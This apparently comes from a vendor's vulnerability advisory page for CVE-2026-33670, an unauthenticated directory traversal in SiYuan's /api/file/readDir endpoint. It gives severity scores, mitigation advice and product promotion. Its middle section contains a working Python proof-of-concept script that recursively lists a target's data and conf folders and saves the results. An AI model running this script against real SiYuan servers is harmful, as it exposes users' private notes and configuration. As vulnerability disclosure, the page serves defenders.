CVE-2026-33670 — kernel
CRITICALCVE-2026-33670 is a critical-severity (CVSS 9.8) Path Traversal vulnerability in github.com/siyuan-note/siyuan/kernel. No vendor fix is recorded yet; mitigation options are listed below.
SiYuan has directory traversal within its publishing service
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-33670.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2026-33670 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,636 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
github.com/siyuan-note/siyuan/kernelReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Details
The /api/file/readDir interface was used to traverse and retrieve the file names of all documents under a notebook.
PoC
#!/usr/bin/env python3
"""POC: SiYuan /api/file/readDir 未鉴权目录遍历"""
import requests, json, sys
def poc(target):
base = target.rstrip("/")
url = f"{base}/api/file/readDir"
def read_dir(path, depth=0, max_depth=4):
try:
r = requests.post(url, json={"path":path},
headers={"Content-Type":"application/json"}, timeout=10)
data = r.json()
except Exception as e:
return
if data.get("code") != 0:
return
entries = data.get("data") or []
for entry in entries:
name = entry.get("name","")
if name.startswith("."):
continue
icon = "📁" if entry.get("isDir") else "📄"
indent = " " * depth
print(f" {indent}{icon} {name}")
if entry.get("isDir") and depth < max_depth:
read_dir(f"{path}/{name}", depth+1, max_depth)
# 遍历根目录
print("[+] 漏洞存在!开始遍历\n")
print(" 📂 data/")
read_dir("data", max_depth=2)
print("\n 📂 conf/")
read_dir("conf", max_depth=2)
# 保存
try:
r = requests.post(url, json={"path":"data"},
headers={"Content-Type":"application/json"}, timeout=10)
with open("readdir.json","w",encoding="utf-8") as f:
json.dump(r.json(), f, ensure_ascii=False, indent=2)
print(f"\n[+] 根目录数据已保存: readdir.json")
except: pass
if __name__ == "__main__":
poc(sys.argv[1] if len(sys.argv)>1 else "http://172.18.40.184")
Impact
Directory traversal vulnerability: The entire directory structure of a notebook could be obtained, and then a file reading vulnerability could be exploited to achieve arbitrary document reading.
资源文件夹
<img width="943" height="794" alt="image" src="https://github.com/user-attachments/assets/c97fcc42-183e-4c83-8a27-cf99bf805038" />插件文件夹
<img width="826" height="921" alt="image" src="https://github.com/user-attachments/assets/925d4512-e4c0-4b3b-bf96-5639ec572705" />conf文件夹
<img width="730" height="834" alt="image" src="https://github.com/user-attachments/assets/2a0c23b9-2d87-4421-977d-687f47726741" />Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/siyuan-note/siyuan/kernel | all versions | No fix |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/siyuan-note/siyuan/kernel, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Remediation status
No patched version of github.com/siyuan-note/siyuan/kernel has shipped for CVE-2026-33670 yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.
Mitigate without a patch
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-33670 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-33670. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-33670 in your dependencies?
O3 Security finds CVE-2026-33670 across Go dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.